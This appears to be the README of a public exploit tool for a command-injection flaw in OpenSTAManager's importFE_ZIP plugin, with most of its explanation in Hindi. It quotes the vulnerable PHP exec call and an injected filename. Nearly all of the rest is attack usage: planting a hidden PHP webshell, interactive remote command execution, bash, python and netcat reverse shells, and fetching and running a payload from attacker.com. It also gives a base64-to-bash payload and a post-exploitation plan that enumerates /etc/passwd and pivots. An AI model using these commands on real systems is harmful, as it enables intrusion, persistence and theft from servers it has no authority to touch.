// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

# क्रेडेंशियल के साथ लॉगिन
python3 exploit.py -t http://target.com -u admin -p secret --check

# मौजूदा सत्र कुकी का उपयोग करें
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

# प्लगइन का ऑटो-डिटेक्ट करें और भेद्यता सत्यापित करें
python3 exploit.py -t http://target.com -u admin -p secret --check

# ज्ञात मॉड्यूल/प्लगइन आईडी के साथ
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

# वेबशेल को डिफ़ॉल्ट निर्देशिका (files/) में तैनात करें
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# कस्टम निर्देशिका और फ़ाइलनाम
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

# वेबशेल तैनाती + इंटरएक्टिव शेल
python3 exploit.py -t http://target.com -u admin -p secret --rce

# पिछले रन से मौजूदा वेबशेल के साथ
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

# बैश रिवर्स शेल (डिफ़ॉल्ट, बहुत विश्वसनीय)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# पायथन रिवर्स शेल
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# mkfifo के साथ Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# -e फ़्लैग के साथ Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

# एक कमांड निष्पादित करें (कोई आउटपुट वापस नहीं)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# पेलोड डाउनलोड और निष्पादित करें
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

# Burp Suite प्रॉक्सी के माध्यम से
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# अनुरोध विलंब के साथ (2 सेकंड)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# SSL सत्यापन छोड़ें
python3 exploit.py -t https://target.com -u admin -p secret --check -k

Target:
  -t, --target           लक्ष्य मूल URL

Authentication:
  -u, --user             लॉगिन के लिए उपयोगकर्ता नाम
  -p, --password         लॉगिन के लिए पासवर्ड
  -c, --cookie           मौजूदा PHPSESSID मान

Actions:
  --check                सत्यापित करें कि लक्ष्य असुरक्षित है
  --webshell             PHP वेबशेल तैनात करें
  --rce                  वेबशेल के माध्यम से इंटरएक्टिव शेल
  --reverse-shell        रिवर्स शेल (LHOST LPORT)
  --cmd COMMAND          ब्लाइंड कमांड निष्पादन

Shell Options:
  --shell-dir DIR        वेबशेल लेखन निर्देशिका (डिफ़ॉल्ट: files)
  --shell-name NAME      कस्टम वेबशेल फ़ाइलनाम
  --method METHOD        रिवर्स शेल विधि: bash, python, nc, nc-e

Plugin Detection:
  --module-id ID         OpenSTAManager मॉड्यूल आईडी
  --plugin-id ID         importFE_ZIP प्लगइन आईडी

Network:
  --proxy URL            HTTP प्रॉक्सी URL
  -k, --no-ssl-verify    SSL सत्यापन अक्षम करें
  --delay SECONDS        अनुरोधों के बीच विलंब

invoice.p7m";INJECTED_COMMAND;echo ".p7m

openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

importFE_ZIP प्लगइन के माध्यम से ZIP अपलोड करें
    └── actions.php प्लगइन हैंडलर पर डिस्पैच करता है
        └── ZipArchive::extractTo() फ़ाइलें निकालता है
            └── .p7m फ़ाइलों पर पुनरावृति करता है
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── शेल इंजेक्ट किए गए कमांड की व्याख्या करता है

1. --check             → मार्कर फ़ाइल के माध्यम से RCE की पुष्टि करें
2. --webshell          → files/ निर्देशिका में PHP शेल डालें
3. --rce               → इंटरएक्टिव कमांड निष्पादन
4. Enumerate           → id, cat /etc/passwd, ifconfig
5. Pivot               → हमलावर को रिवर्स शेल, पोस्ट-एक्सप्लॉइटेशन